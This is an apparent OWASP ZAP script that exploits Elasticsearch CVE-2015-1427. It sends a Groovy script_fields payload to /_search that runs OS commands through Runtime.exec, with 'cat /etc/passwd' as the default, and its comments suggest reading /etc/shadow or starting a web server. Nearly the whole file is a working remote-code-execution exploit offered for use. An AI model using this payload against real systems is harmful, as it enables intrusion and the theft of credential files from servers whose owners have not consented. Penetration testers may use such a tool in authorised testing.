// Targeted scripts can only be invoked by you, the user, eg via a right-click option on the Sites or History tabs
// ElasticSearch Exploit CVE-2015-1427 by freakyclown@gmail.com
// Shoutout to THC202 for help with Zap internals and sanity checks
// Shoutout to /u/cartogram for the POC rce command
// Requires elasticsearch running, default port is 9200 check via nmap/portscanner

var HttpSender = Java.type("org.parosproxy.paros.network.HttpSender");

function invokeWith(msg) {
  // give the user some info
  print(
    "Testing the follwing URL=" + msg.getRequestHeader().getURI().toString()
  );
  print("");
  // grab the request header so we can check for path/query and append if needed
  var httpRequestHeader = msg.getRequestHeader();
  var uri = httpRequestHeader.getURI();
  // this is the Remote Command Execution command we want to run, in this case lets grab the /etc/passwd file to get users
  // change this for other commands e.g. "cat /etc/shadow" or "python -m SimpleHTTPServer 8000" to run a simple web server
  // some things like " and pipes and redirects may not work!
  var RCECommand = "cat /etc/passwd";
  uri.setPath("/_search");
  uri.setQuery("pretty");
  // set the message request body to the following to take advantage of the vulnerability
  msg
    .getRequestBody()
    .setBody(
      ' { "size": 1,"query": {   "match_all": {}   },"script_fields": {   "exploit": {   "lang": "groovy","script": "java.lang.Math.class.forName(\\"java.util.Scanner\\").getConstructor(java.lang.Math.class.forName(\\"java.io.InputStream\\")).newInstance(java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"' +
        RCECommand +
        '\\").getInputStream()).useDelimiter(\\"\\\\\\\\A\\").next()"   }   }  }'
    );
  // set the request method to be a POST
  msg.getRequestHeader().setMethod("POST");
  // update the length to take in account of the changes
  msg.getRequestHeader().setContentLength(msg.getRequestBody().length());
  // create a new sender
  var sender = new HttpSender(HttpSender.MANUAL_REQUEST_INITIATOR);
  // send our new request
  sender.sendAndReceive(msg);

  // output the response to the console
  print(msg.getResponseBody());
}
